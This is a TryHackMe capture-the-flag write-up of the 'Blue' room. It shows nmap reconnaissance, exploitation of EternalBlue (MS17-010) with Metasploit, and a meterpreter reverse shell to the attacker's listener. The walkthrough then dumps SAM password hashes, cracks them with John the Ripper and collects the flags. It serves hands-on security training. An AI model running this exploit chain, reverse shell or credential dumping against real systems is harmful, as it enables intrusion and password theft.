

Blue-machine-THM

RECONN

Did an nmap scan to discover open ports.

```
(scr34tur3@ Kali) - [~/Documents/TryHackMe-sch/CTFs/Blue]
$ nmap -sC -sV -T4 -Pn -p- --open -oN blue-nmap 10.10.202.168

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-31 17:29 EAT
Nmap scan report for 10.10.202.168
Host is up (0.27s latency).
Not shown: 65329 closed tcp ports (reset), 197 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE          VERSION
135/tcp   open  msrpc            Microsoft Windows RPC
139/tcp   open  netbios-ssn     Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds     Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
3389/tcp   open  ssl/ms-wbt-server?
49152/tcp open  msrpc            Microsoft Windows RPC
49153/tcp open  msrpc            Microsoft Windows RPC
49154/tcp open  msrpc            Microsoft Windows RPC
49158/tcp open  msrpc            Microsoft Windows RPC
49160/tcp open  msrpc            Microsoft Windows RPC
Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-os-discovery:
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: Jon-PC
|   NetBIOS computer name: JON-PC\x00
|   Workgroup: WORKGROUP\x00
|   System time: 2024-10-31T09:34:54-05:00
|_  smb2-security-mode:
|   2.1.0:
|     Message signing enabled but not required
|_  smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_  nbstat: NetBIOS name: JON-PC, NetBIOS user: <unknown>, NetBIOS MAC: 02:3f:5d:d8:f5:d5 (unknown)
|_  smb2-time:
|   date: 2024-10-31T14:34:54
|   start_date: 2024-10-31T14:24:37
|_  clock-skew: mean: 1h38m40s, deviation: 2h53m13s, median: -1m20s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 469.63 seconds
```

Identified the target was running on a windows 7 machine, and much of its protocol were SMB and NetBIOS. So ran a couple of nmap SMB scripts against the target and found a flaw that I went ahead and exploit.

```
(root@ Kali) - [~/Documents/TryHackMe-sch/CTFs/Blue]
# nmap -sV -sC -Pn -p445 --script=smb-vuln-ms17-010.nse -oN nmapSmbScan 10.10.13.210

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-01 17:07 EAT
Nmap scan report for 10.10.13.210
Host is up (0.25s latency).

PORT      STATE SERVICE          VERSION
445/tcp   open  microsoft-ds     Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-vuln-ms17-010:
|   VULNERABLE:
|     Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|       State: VULNERABLE
|       IDs: CVE:CVE-2017-0143
|       Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|       servers (ms17-010).
|_  Disclosure date: 2017-03-14
|_  References:
|     https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|     https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_    https://technet.microsoft.com/en-us/library/security/ms17-010.aspx

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.55 seconds
```

The target is vulnerable to EternalBlue => BRIEF HISTORY: " Description:

This module is a port of the Equation Group ETERNALBLUE exploit, part of the FuzzBunch toolkit released by Shadow Brokers.

There is a buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size is calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error where a DWORD is subtracted into a WORD. The kernel pool is groomed so that overflow is well laid-out to overwrite an SMBv1 buffer. Actual RIP hijack is later completed in srvnet!SrvNetWskReceiveComplete.

This exploit, like the original may not trigger 100% of the time, and should be run continuously until triggered. It seems like the pool will get hot streaks and need a cool down period before the shells rain in again.

The module will attempt to use Anonymous login, by default, to authenticate to perform the exploit. If the user supplies credentials in the SMBUser, SMBPass, and SMBDomain options it will use those instead.

On some systems, this module may cause system instability and crashes, such as a BSOD or a reboot. This may be more likely with some payloads.

"

```
msf6 > search ms17-010

Matching Modules
=====
#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14      average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1  \_ target: Automatic Target                .              .      .      .
2  \_ target: Windows 7                      .              .      .      .
3  \_ target: Windows Embedded Standard 7    .              .      .      .
4  \_ target: Windows Server 2008 R2         .              .      .      .
5  \_ target: Windows 8                      .              .      .      .
6  \_ target: Windows 8.1                    .              .      .      .
7  \_ target: Windows Server 2012            .              .      .      .
8  \_ target: Windows 10 Pro                  .              .      .      .
9  \_ target: Windows 10 Enterprise Evaluation .              .      .      .
```

set the required options

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > options

Module options (exploit/windows/smb/ms17_010_eternalblue):

  Name      Current Setting  Required  Description
  ----      -
  RHOSTS     RHOSTS           yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      445              yes       The target port (TCP)
  SMBDomain  SMBDomain         no        (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
  SMBPass    SMBPass           no        (Optional) The password for the specified username
  SMBUser    SMBUser           no        (Optional) The username to authenticate as
  VERIFY_ARCH true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
  VERIFY_TARGET true            yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.

Payload options (windows/x64/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ----      -
  EXITFUNC  thread          yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST     10.16.23.66     yes       The listen address (an interface may be specified)
  LPORT     4444            yes       The listen port

Exploit target:

  Id  Name
  --  -
  0    Automatic Target
```

used the info cmd to display the info about this module.

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > info

  Name: MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
  Module: exploit/windows/smb/ms17_010_eternalblue
  Platform: Windows
  Arch: x64
  Privileged: Yes
  License: Metasploit Framework License (BSD)
  Rank: Average
  Disclosed: 2017-03-14

Provided by:
  Equation Group
  Shadow Brokers
  sleepya
  Sean Dillon <sean.dillon@risksense.com>
  Dylan Davis <dylan.davis@risksense.com>
  thelightcosine
  wvu <wvu@metasploit.com>
  agalway-r7
  cdelafuente-r7
  cdelafuente-r7
  agalway-r7

Available targets:
```

Launched the exploit, and the target was vulnerable to eternal blue vulnerability.
Got a meterpreter session

```

msf6 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 10.23.20.101:4444
[*] 10.10.13.210:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.13.210:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.13.210:445 - Scanned 1 of 1 hosts (100% complete)
[+] 10.10.13.210:445 - The target is vulnerable.
[*] 10.10.13.210:445 - Connecting to target for exploitation.
[+] 10.10.13.210:445 - Connection established for exploitation.
[+] 10.10.13.210:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.13.210:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.13.210:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.10.13.210:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.10.13.210:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.10.13.210:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.13.210:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.13.210:445 - Sending all but last fragment of exploit packet
[*] 10.10.13.210:445 - Starting non-paged pool grooming
[+] 10.10.13.210:445 - Sending SMBv2 buffers
[+] 10.10.13.210:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.13.210:445 - Sending final SMBv2 buffers.
[*] 10.10.13.210:445 - Sending last fragment of exploit packet!
[*] 10.10.13.210:445 - Receiving response from exploit packet
[+] 10.10.13.210:445 - ETERNALBLUE overwrite completed successfully (0xc000000D)!
[*] 10.10.13.210:445 - Sending egg to corrupted connection.
[*] 10.10.13.210:445 - Triggering free of corrupted buffer.
[*] Sending stage (201798 bytes) to 10.10.13.210
[*] Meterpreter session 1 opened (10.23.20.101:4444 -> 10.10.13.210:49218) at 2024-11-01 17:30:56 +0300
[+] 10.10.13.210:445 - =====
[+] 10.10.13.210:445 - -----WIN-----
[+] 10.10.13.210:445 - =====

meterpreter > whoami
[-] Unknown command: whoami. Run the help command for more details.

```

Dumps the contents of the SAM database

```

meterpreter > guid
[+] Session GUID: f20c254b-ec07-4e0f-b4a3-deb1d4299001
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::
meterpreter >

```

Cracked one of the hashed pass of user Jon.

```

(root@Kali)-[/home/.../Documents/TryHackMe-sch/CTFs/Blue]
# echo "Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::
" > hashfile

```



```
(root@Kali)-[/home/.../Documents/TryHackMe-sch/CTFs/Blue]
# john --wordlist=/usr/share/wordlists/rockyou.txt hashfile --format=NT
Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (NT [MD4 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
alqfna22 (Administrator)
2g 0:00:00:00 DONE (2024-11-01 17:34) 2.352g/s 12000Kp/s 12000Kc/s 12006Kc/s alr271..alpzzjaa
Warning: passwords printed above might not be all those cracked
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed.
```

Used the getsystem cmd to check the level of privilege by which I am running the machine.

```
meterpreter > getsystem
[-] Already running as SYSTEM
meterpreter > 
```

Enumerated the target to find various flags stored in different locations.

```
meterpreter > cd ../
meterpreter > pwd
C:\
meterpreter > dir
Listing: C:\
=====
```

Mode	Size	Type	Last modified	Name
040777/rwxrwxrwx	0	dir	2018-12-13 06:13:36 +0300	\$Recycle.Bin
040777/rwxrwxrwx	0	dir	2009-07-14 08:08:56 +0300	Documents and Settings
040777/rwxrwxrwx	0	dir	2009-07-14 06:20:08 +0300	PerfLogs
040555/r-xr-xr-x	4096	dir	2019-03-18 01:22:01 +0300	Program Files
040555/r-xr-xr-x	4096	dir	2019-03-18 01:28:38 +0300	Program Files (x86)
040777/rwxrwxrwx	4096	dir	2019-03-18 01:35:57 +0300	ProgramData
040777/rwxrwxrwx	0	dir	2018-12-13 06:13:22 +0300	Recovery
040777/rwxrwxrwx	4096	dir	2019-03-18 01:35:55 +0300	System Volume Information
040555/r-xr-xr-x	4096	dir	2018-12-13 06:13:28 +0300	Users
040777/rwxrwxrwx	16384	dir	2019-03-18 01:36:30 +0300	Windows
100666/rw-rw-rw-	24	fil	2019-03-17 22:27:21 +0300	flag1.txt
000000/-----	0	fif	1970-01-01 03:00:00 +0300	hiberfil.sys
000000/-----	0	fif	1970-01-01 03:00:00 +0300	pagefile.sys

```
meterpreter > cat flag1.txt
flag{access_the_machine}meterpreter >
```

```

meterpreter > cd Documents
meterpreter > dir
Listing: C:\Users\Jon\Documents
=====
Mode                Size      Type    Last modified          Name
----                -
040777/rwxrwxrwx    0        dir     2018-12-13 06:13:31 +0300 My Music
040777/rwxrwxrwx    0        dir     2018-12-13 06:13:31 +0300 My Pictures
040777/rwxrwxrwx    0        dir     2018-12-13 06:13:31 +0300 My Videos
100666/rw-rw-rw-   402      fil     2018-12-13 06:13:48 +0300 desktop.ini
100666/rw-rw-rw-    37      fil     2019-03-17 22:26:36 +0300 flag3.txt

meterpreter > cat flag3.txt
flag{admin_documents_can_be_valuable}meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::

```

```

meterpreter > search -f flag*
Found 6 results...
=====

Path      Home      Size (bytes)  Modified (UTC)
-----
c:\Users\Jon\AppData\Roaming\Microsoft\Windows\Recent\flag1.lnk  482      2019-03-17 22:26:42 +0300
c:\Users\Jon\AppData\Roaming\Microsoft\Windows\Recent\flag2.lnk  848      2019-03-17 22:30:04 +0300
c:\Users\Jon\AppData\Roaming\Microsoft\Windows\Recent\flag3.lnk  2344     2019-03-17 22:32:52 +0300
c:\Users\Jon\Documents\flag3.txt 37        2019-03-17 22:26:36 +0300
c:\Windows\System32\config\flag2.txt 34        2019-03-17 22:32:48 +0300
c:\flag1.txt 24        2019-03-17 22:27:21 +0300

```

```

100666/rw-rw-rw-   34        fil     2019-03-17 22:32:48 +0300 flag2.txt
040777/rwxrwxrwx  4096      dir     2010-11-21 05:41:37 +0300 systemprofile

meterpreter > type flag2.txt
[-] Unknown command: type. Run the help command for more details.
meterpreter > cat flag2.txt
flag{sam_database_elevated_access}meterpreter >

```

Thats a wrap of this room.



Congratulations!

You've completed the room! Share this with your friends:

[Share Awarded Badge](#)[Twitter](#)[Facebook](#)[LinkedIn](#)[Leave feedback](#)

Redeem your tickets!

Complete rooms and redeem tickets. Collect 3 of the same ticket and win a prize. [Learn more](#) or see [your tickets here](#).

12 Month
Premium
Voucher

Subscribe to
redeem 2
tickets

[Next Room: Web Application Basics](#)

<https://docs.metasploit.com/docs/pentesting/metasploit-guide-upgrading-shells-to-meterpreter.html>